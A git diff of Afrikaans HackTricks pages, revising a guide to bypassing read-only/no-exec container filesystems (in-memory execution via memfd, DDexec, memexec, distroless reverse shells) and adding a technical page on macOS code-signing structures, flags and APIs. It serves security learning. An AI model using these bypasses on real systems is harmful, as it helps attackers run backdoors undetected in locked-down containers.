* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
|
||||
|
@ -45,15 +45,15 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
|
||||
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie enigiets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Van 'n rooi span perspektief maak dit **moeilik om** binêre te aflaai en uit te voer wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
|
||||
Van 'n rooi span perspektief maak dit **moeilik om binêre te aflaai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Easiest bypass: Scripts
|
||||
|
||||
Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
|
||||
Let daarop dat ek binêre genoem het, jy kan **enige script uitvoer** solank die interpreter binne die masjien is, soos 'n **shell script** as `sh` teenwoordig is of 'n **python** **script** as `python` geïnstalleer is.
|
||||
|
||||
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
|
||||
|
||||
|
@ -63,24 +63,24 @@ As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die b
|
|||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
As jy 'n paar kragtige script enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
|
||||
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
|
||||
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n script in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
||||
Dit werk nie in ander skripting tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n script aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
||||
|
||||
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die **no-exec beskerming** van toepassing sal wees.
|
||||
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **no-exec beskerming** van toepassing sal wees.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om **die geheue van jou eie proses** te verander deur sy **`/proc/self/mem`** te oorskryf.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te modifiseer deur sy **`/proc/self/mem`** te oorskryf.
|
||||
|
||||
Daarom, **beheer die assembly kode** wat deur die proses uitgevoer word, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
|
||||
Daarom, deur **die samestelling kode** wat deur die proses uitgevoer word, te beheer, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
|
||||
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** van **geheue** te laai en **uit te voer**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -94,7 +94,7 @@ For more information about this technique check the Github or:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec-tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
|
||||
|
||||
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell** uit te voer in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -106,7 +106,7 @@ Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/a
|
|||
|
||||
### Wat is distroless
|
||||
|
||||
Distroless houers bevat slegs die **bare minimum komponente wat nodig is om 'n spesifieke toepassing of diens te laat loop**, soos biblioteke en runtime afhanklikhede, maar sluit groter komponente soos 'n pakketbestuurder, skulp of stelseldienste uit.
|
||||
Distroless houers bevat slegs die **minimale komponente wat nodig is om 'n spesifieke toepassing of diens te laat loop**, soos biblioteke en runtime-afhanklikhede, maar sluit groter komponente soos 'n pakketbestuurder, skulp of stelseldienste uit.
|
||||
|
||||
Die doel van distroless houers is om die **aanvaloppervlak van houers te verminder deur onnodige komponente te verwyder** en die aantal kwesbaarhede wat uitgebuit kan word, te minimaliseer.
|
||||
|
||||
|
@ -130,11 +130,11 @@ As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shel
|
|||
Echter, in hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
|
||||
{% endhint %}
|
||||
|
||||
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te exploiteer** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -146,7 +146,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* Check die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -0,0 +1,391 @@
|
|||
# macOS Code Signing
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Mach-o binêre bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binêre aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binêre 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
|
||||
Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
|
||||
```c
|
||||
/*
|
||||
* Structure of an embedded-signature SuperBlob
|
||||
*/
|
||||
|
||||
typedef struct __BlobIndex {
|
||||
uint32_t type; /* type of entry */
|
||||
uint32_t offset; /* offset of entry */
|
||||
} CS_BlobIndex
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
typedef struct __SC_SuperBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of SuperBlob */
|
||||
uint32_t count; /* number of index entries following */
|
||||
CS_BlobIndex index[]; /* (count) entries */
|
||||
/* followed by Blobs in no particular order as indicated by offsets in index */
|
||||
} CS_SuperBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
#define KERNEL_HAVE_CS_GENERICBLOB 1
|
||||
typedef struct __SC_GenericBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of blob */
|
||||
char data[];
|
||||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Algemene blobs wat bevat word, is Code Directory, Requirements en Entitlements en 'n Cryptographic Message Syntax (CMS).\
|
||||
Boonop, let op hoe die data wat in die blobs gekodeer is, in **Big Endian** gekodeer is.
|
||||
|
||||
Boonop kan handtekeninge van die binaries losgemaak word en gestoor word in `/var/db/DetachedSignatures` (gebruik deur iOS).
|
||||
|
||||
## Code Directory Blob
|
||||
|
||||
Dit is moontlik om die verklaring van die [Code Directory Blob in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104) te vind:
|
||||
```c
|
||||
typedef struct __CodeDirectory {
|
||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||
uint32_t length; /* total length of CodeDirectory blob */
|
||||
uint32_t version; /* compatibility version */
|
||||
uint32_t flags; /* setup and mode flags */
|
||||
uint32_t hashOffset; /* offset of hash slot element at index zero */
|
||||
uint32_t identOffset; /* offset of identifier string */
|
||||
uint32_t nSpecialSlots; /* number of special hash slots */
|
||||
uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
|
||||
uint32_t codeLimit; /* limit to main image signature range */
|
||||
uint8_t hashSize; /* size of each hash in bytes */
|
||||
uint8_t hashType; /* type of hash (cdHashType* constants) */
|
||||
uint8_t platform; /* platform identifier; zero if not platform binary */
|
||||
uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
|
||||
uint32_t spare2; /* unused (must be zero) */
|
||||
|
||||
char end_earliest[0];
|
||||
|
||||
/* Version 0x20100 */
|
||||
uint32_t scatterOffset; /* offset of optional scatter vector */
|
||||
char end_withScatter[0];
|
||||
|
||||
/* Version 0x20200 */
|
||||
uint32_t teamOffset; /* offset of optional team identifier */
|
||||
char end_withTeam[0];
|
||||
|
||||
/* Version 0x20300 */
|
||||
uint32_t spare3; /* unused (must be zero) */
|
||||
uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
|
||||
char end_withCodeLimit64[0];
|
||||
|
||||
/* Version 0x20400 */
|
||||
uint64_t execSegBase; /* offset of executable segment */
|
||||
uint64_t execSegLimit; /* limit of executable segment */
|
||||
uint64_t execSegFlags; /* executable segment flags */
|
||||
char end_withExecSeg[0];
|
||||
|
||||
/* Version 0x20500 */
|
||||
uint32_t runtime;
|
||||
uint32_t preEncryptOffset;
|
||||
char end_withPreEncryptOffset[0];
|
||||
|
||||
/* Version 0x20600 */
|
||||
uint8_t linkageHashType;
|
||||
uint8_t linkageApplicationType;
|
||||
uint16_t linkageApplicationSubType;
|
||||
uint32_t linkageOffset;
|
||||
uint32_t linkageSize;
|
||||
char end_withLinkage[0];
|
||||
|
||||
/* followed by dynamic content as located by offset fields above */
|
||||
} CS_CodeDirectory
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Let daarop dat daar verskillende weergawes van hierdie struktuur is waar oues minder inligting mag bevat.
|
||||
|
||||
## Onderteken Kode Bladsye
|
||||
|
||||
Hashing van die volle binêre sou ondoeltreffend en selfs nutteloos wees as dit net gedeeltelik in geheue gelaai word. Daarom is die kodehandtekening eintlik 'n hash van hashes waar elke binêre bladsy individueel gehasht word.\
|
||||
Eintlik kan jy in die vorige **Kode Gids** kode sien dat die **bladgrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
[...]
|
||||
CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
|
||||
CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
Hash choices=sha256
|
||||
CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
CMSDigestType=2
|
||||
Executable Segment base=0
|
||||
Executable Segment limit=32768
|
||||
Executable Segment flags=0x1
|
||||
Page size=4096
|
||||
-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
|
||||
-6=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
|
||||
-4=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-3=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
|
||||
-1=0000000000000000000000000000000000000000000000000000000000000000
|
||||
0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
|
||||
1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
|
||||
2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
|
||||
[...]
|
||||
|
||||
# Calculate the hasehs of each page manually
|
||||
BINARY=/bin/ps
|
||||
SIZE=`stat -f "%Z" $BINARY`
|
||||
PAGESIZE=4096 # From the previous output
|
||||
PAGES=`expr $SIZE / $PAGESIZE`
|
||||
for i in `seq 0 $PAGES`; do
|
||||
dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
|
||||
done
|
||||
openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Let op dat toepassings ook 'n **entitlement blob** kan bevat waar al die regte gedefinieer is. Boonop kan sommige iOS-binaries hul regte spesifiek in die spesiale slot -7 hê (in plaas van in die -5 regte spesiale slot).
|
||||
|
||||
## Special Slots
|
||||
|
||||
MacOS-toepassings het nie alles wat hulle nodig het om binne die binêre uit te voer nie, maar hulle gebruik ook **buitelandse hulpbronne** (gewoonlik binne die toepassings **bundle**). Daarom is daar 'n paar slots binne die binêre wat die hashes van 'n paar interessante buitelandse hulpbronne sal bevat om te kontroleer dat hulle nie gewysig is nie.
|
||||
|
||||
Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd **`nSpecialSlots`** te sien wat die aantal spesiale slots aandui. Daar is nie 'n spesiale slot 0 nie en die mees algemene (van -1 tot -6) is:
|
||||
|
||||
* Hash van `info.plist` (of die een binne `__TEXT.__info__plist`).
|
||||
* Hash van die Vereistes
|
||||
* Hash van die Hulpbron Directory (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
|
||||
* Toepassing spesifiek (onbenut)
|
||||
* Hash van die regte
|
||||
* DMG kode handtekeninge slegs
|
||||
* DER Regte
|
||||
|
||||
## Code Signing Flags
|
||||
|
||||
Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kernel begin word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
#define CS_ADHOC 0x00000002 /* ad hoc signed */
|
||||
#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
|
||||
#define CS_INSTALLER 0x00000008 /* has installer entitlement */
|
||||
|
||||
#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
|
||||
#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
|
||||
|
||||
#define CS_HARD 0x00000100 /* don't load invalid pages */
|
||||
#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
|
||||
#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
|
||||
#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
|
||||
|
||||
#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
|
||||
#define CS_REQUIRE_LV 0x00002000 /* require library validation */
|
||||
#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
|
||||
#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
|
||||
|
||||
#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
|
||||
#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
|
||||
|
||||
#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
|
||||
CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||
|
||||
#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
|
||||
#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
|
||||
#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
|
||||
#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
|
||||
|
||||
#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
|
||||
#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
|
||||
#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
|
||||
#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
|
||||
#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
|
||||
|
||||
#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
|
||||
#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
|
||||
#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
|
||||
#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
|
||||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note dat die funksie [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) ook die `CS_EXEC_*` vlae dinamies kan byvoeg wanneer dit die uitvoering begin.
|
||||
|
||||
## Kode Handtekening Vereistes
|
||||
|
||||
Elke toepassing stoor **vereistes** wat dit moet **tevrede stel** om uitgevoer te kan word. As die **toepassing vereistes bevat wat nie deur die toepassing tevrede gestel word nie**, sal dit nie uitgevoer word nie (soos dit waarskynlik verander is).
|
||||
|
||||
Die vereistes van 'n binêre gebruik 'n **spesiale grammatika** wat 'n stroom van **uitdrukkings** is en word as blobs gekodeer met `0xfade0c00` as die magie waarvan die **hash in 'n spesiale kode-slot gestoor word**.
|
||||
|
||||
Die vereistes van 'n binêre kan gesien word deur te loop:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -d -r- /bin/ls
|
||||
Executable=/bin/ls
|
||||
designated => identifier "com.apple.ls" and anchor apple
|
||||
|
||||
codesign -d -r- /Applications/Signal.app/
|
||||
Executable=/Applications/Signal.app/Contents/MacOS/Signal
|
||||
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Let op hoe hierdie handtekeninge dinge soos sertifiseringsinligting, TeamID, ID's, regte en baie ander data kan nagaan.
|
||||
{% endhint %}
|
||||
|
||||
Boonop is dit moontlik om 'n paar saamgestelde vereistes te genereer met die `csreq` hulpmiddel:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Generate compiled requirements
|
||||
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
|
||||
|
||||
# Get the compiled bytes
|
||||
od -A x -t x1 /tmp/output.csreq
|
||||
0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
|
||||
0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
|
||||
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
|
||||
[...]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Dit is moontlik om toegang tot hierdie inligting te verkry en vereistes te skep of te wysig met sommige API's van die `Security.framework` soos:
|
||||
|
||||
#### **Kontroleer Geldigheid**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`**: Kontroleer die geldigheid van SecCodeRef per Vereiste.
|
||||
* **`SecRequirementEvaluate`**: Valideer vereiste in sertifikaat konteks
|
||||
* **`SecTaskValidateForRequirement`**: Valideer 'n lopende SecTask teen `CFString` vereiste.
|
||||
|
||||
#### **Skep en Bestuur Kode Vereistes**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Skep 'n `SecRequirementRef` uit binêre data wat die vereiste verteenwoordig.
|
||||
* **`SecRequirementCreateWithString`:** Skep 'n `SecRequirementRef` uit 'n stringuitdrukking van die vereiste.
|
||||
* **`SecRequirementCopy[Data/String]`**: Verkry die binêre data voorstelling van 'n `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Skep 'n vereiste vir app-groep lidmaatskap
|
||||
|
||||
#### **Toegang tot Kode Handtekening Inligting**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`**: Inisialiseer 'n `SecStaticCodeRef` objek vanaf 'n lêerstelsel pad vir die inspeksie van kode handtekeninge.
|
||||
* **`SecCodeCopySigningInformation`**: Verkry handtekening inligting van 'n `SecCodeRef` of `SecStaticCodeRef`.
|
||||
|
||||
#### **Wysig Kode Vereistes**
|
||||
|
||||
* **`SecCodeSignerCreate`**: Skep 'n `SecCodeSignerRef` objek vir die uitvoering van kode handtekening operasies.
|
||||
* **`SecCodeSignerSetRequirement`**: Stel 'n nuwe vereiste vir die kode ondertekenaar in om tydens ondertekening toe te pas.
|
||||
* **`SecCodeSignerAddSignature`**: Voeg 'n handtekening by die kode wat onderteken word met die gespesifiseerde ondertekenaar.
|
||||
|
||||
#### **Valideer Kode met Vereistes**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`**: Valideer 'n statiese kode objek teen gespesifiseerde vereistes.
|
||||
|
||||
#### **Addisionele Nuttige API's**
|
||||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Kry SecRequirementRef van SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`**: Skep 'n `SecCodeRef` wat 'n kode objek verteenwoordig gebaseer op spesifieke eienskappe, nuttig vir sandboxing.
|
||||
* **`SecCodeCopyPath`**: Verkry die lêerstelsel pad geassosieer met 'n `SecCodeRef`.
|
||||
* **`SecCodeCopySigningIdentifier`**: Verkry die handtekening identifiseerder (bv. Span ID) van 'n `SecCodeRef`.
|
||||
* **`SecCodeGetTypeID`**: Gee die tipe identifiseerder vir `SecCodeRef` objek.
|
||||
* **`SecRequirementGetTypeID`**: Kry 'n CFTypeID van 'n `SecRequirementRef`
|
||||
|
||||
#### **Kode Handtekening Vlaggies en Konstanten**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: Standaard vlaggies wat in baie Security.framework funksies vir kode handtekening operasies gebruik word.
|
||||
